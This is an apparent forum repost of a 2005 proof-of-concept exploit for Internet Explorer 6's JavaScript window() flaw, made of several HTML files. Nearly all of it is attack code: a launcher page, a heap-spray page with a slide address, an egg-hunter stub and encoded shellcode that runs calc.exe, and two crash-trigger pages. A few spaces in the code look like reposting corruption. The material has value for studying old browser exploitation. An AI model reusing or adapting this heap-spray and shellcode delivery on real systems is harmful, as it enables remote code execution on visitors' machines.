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Yeni IE6.X Exploit Yeni IE6.X Exploit
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Microsoft Internet Explorer JavaScript Window() - Proof Of Concept
============================================
Author:
--------
Stuart Pearson
Computer Terrorism (UK)
www.computerterrorism.com
21st November, 2005
THE FOLLOWING PROOF OF CONCEPT IS PROVIDED EXCLUSIVELY FOR EDUCATIONAL
PURPOSES ONLY, AND IS PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED
WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR COMPUTER TERRORISM
MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE FITNESS
OF THIS CODE FOR ANY PARTICULAR PURPOSE.
PERMISSION TO USE, COPY, PRINT, AND DISTRIBUTE THIS DOCUMENT FOR EDUCATIONAL
PURPOSES IS HEREBY GRANTED, PROVIDED THAT THE TEXTUAL CONTENT REMAINS INTACT
AND UNMODIFIED.
-->
<html>
<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Computer Terrorism - Microsoft Internet Explorer Proof of Concept</title>
<script type="text/javascript">
function runpoc(iframecount)
{
document.getElementById('table1').rows[2].cells[0].innerHTML="<p align=center><B>
<font color=#339966 size=1 face=Arial> loading, please wait....
</font></p>"
document.getElementById('table1').rows[4].cells[0].innerHTML=""
document.getElementById('table1').rows[6].cells[0].innerHTML=""
document.getElementById('table1').rows[7].cells[0].innerHTML=""
document.getElementById('table1').rows[9].cells[0].innerHTML=""
top.consoleRef = open('blankWindow.htm','BlankWindow',
'width=1,height=1'
+',menubar=0'
+',toolbar=1'
+',status=0'
+',scrollbars=0'
+',left=1'
+',top=1'
+',resizable=0')
top.consoleRef.blur();
top.consoleRef.document.writeln(
'<html>'
+'<head>'
+'<title>CT</title>'
+'</head>'
+'<body onBlur=self.blur()>'
+'</body></html>'
)
self.focus() // Ensure the javascript prompt boxes are hidden in the background
for (i=1 ; i <=iframecount ; i++)
{
top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0
src=fillmem.htm></iframe>')
}
if( iframecount == 8 ){
//alert('8');
top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0
src=bug2k.htm></iframe>')
}
if( iframecount == 4 ){
//alert('4');
top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0
src=bug.htm></iframe>')
}
//+'<iframe width=1 height=1 border=0 frameborder=0 src=bug.htm></iframe>'
//)
}
</script>
</head>
<body onLoad="self.moveTo(0,0);self.resizeTo(screen.widt h,screen.height);">
<p> </p>
<p> </p>
<table border="0" width="100%" id="table1">
<tr>
<td>
<p align="center"><font color="#333333"><b><font size="1" face="Arial">
Microsoft Internet Explorer JavaScript Window() Proof of Concept</font></b>
</font></td>
</tr>
<tr>
<td width="98%" height="15">
<p align="center"><b><font face="Arial" size="1" color="#333333">Select
your operating system:-</font></b></td>
</tr>
<tr>
<td width="98%" height="10"></td>
</tr>
<tr>
<td width="98%" height="27" align="center">
<p><b><font color="#339966" size="1" face="Arial">
-</font><font color="#333333"><font color="#333333" size="1" face="Arial"> </font> </font>
<font color="#333333" size="1" face="Arial"><a href="#" onclick="javascript:runpoc(4)">
<span style="text-decoration: none"><font color="#333333">Microsoft
Windows XP (All Service Packs)</font></span></a><font color="#333333"> </font></font>
<font color="#339966" size="1" face="Arial"> -</font></b></td>
</tr>
<tr>
<td width="98%" height="22" align="center">
<p><b><font color="#339966" size="1" face="Arial">
-</font><font color="#333333"><font color="#333333" size="1" face="Arial"> </font> </font>
<font color="#333333" size="1" face="Arial"><a href="#" onclick="javascript:runpoc(8)">
<span style="text-decoration: none"><font color="#333333">Microsoft
Windows 2000/Universal (Slower)</font></span></a><font color="#333333"> </font></font>
<font color="#339966" size="1" face="Arial"> -</font></b></td>
</tr>
<tr>
<td width="98%" height="15" align="center">
</td>
</tr>
<tr>
<td width="98%" height="15" align="center">
<b><font color="#339966" face="Arial" size="1">invokes calc.exe if
successful</font></b></td>
</tr>
</table>
</body>
</html>
--------------------------------------------------------------------------------------------------------------
<-- blankWindow.htm -->
<HTML>
<TITLE>Blank Window</title>
<body></body>
</html>
--------------------------------------------------------------------------------------------------------------
<-- fillmem.htm -->
<HTML>
<HEAD>
<Script Language="JavaScript">
function load() {
var spearson=0
var eip = ""
var prep_shellcode = ""
var shellcode = ""
var fillmem = ""
//
// Address called by the bug (also serves as slide code)
//
for (spearson=1 ; spearson <=500 ; spearson++)
{
eip = eip + unescape("%u7030%u4300")
//eip = eip + unescape("%u4300")
}
//
// Create a large chunk for memory saturation
//
for (spearson=1 ; spearson <=200; spearson++)
{
fillmem = fillmem + eip
}
//
// Search for our shellcode (tagged with my initials) and copy to a more stable area
//
prep_shellcode = unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u11 11%u4190" +
"%u1139%uFA75%u9090%uF18B%uF88B%u9057%uc933%ub966" +
"%u002d%ua5F3%u9090%u905f%ue7ff")
//
// Harmless Calc.exe
//
shellcode = unescape("%u5053%u5053%u9090%uC929%uE983%uD9DB%uD9 EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF")
fillmem = fillmem + prep_shellcode + shellcode
prompt(fillmem,"Computer Terrorism (UK) Ltd - Internet Explorer Vulnerability")
}
// -->
</Script>
</head>
<TITLE>Windows Explorer Exploit</TITLE>
<body onload="setTimeout('load()',2000)">
test test test
</body>
</html>
--------------------------------------------------------------------------------------------------------------
<-- bug2k.htm -->
<html>
<TITLE>Crash2</title>
<body onload="setTimeout('main()',20000)">
<SCRIPT>
function main()
{
document.write("<TITLE>hello2</TITLE>")
document.write("<body onload=window();>")
window.location.reload()
}
</SCRIPT>
<br><br><br><br><br><br><center><FONT FACE=ARIAL SIZE 12PT>Please Wait !
</FONT></center>
--------------------------------------------------------------------------------------------------------------
<-- bug.htm -->
<html>
<TITLE>Crash2</title>
<body onload="setTimeout('main()',6000)">
<SCRIPT>
function main()
{
document.write("<TITLE>hello2</TITLE>")
document.write("<body onload=window();>")
window.location.reload()
}
</SCRIPT>
<br><br><br><br><br><br><center><FONT FACE=ARIAL SIZE 12PT>Please Wait !
</FONT></center>
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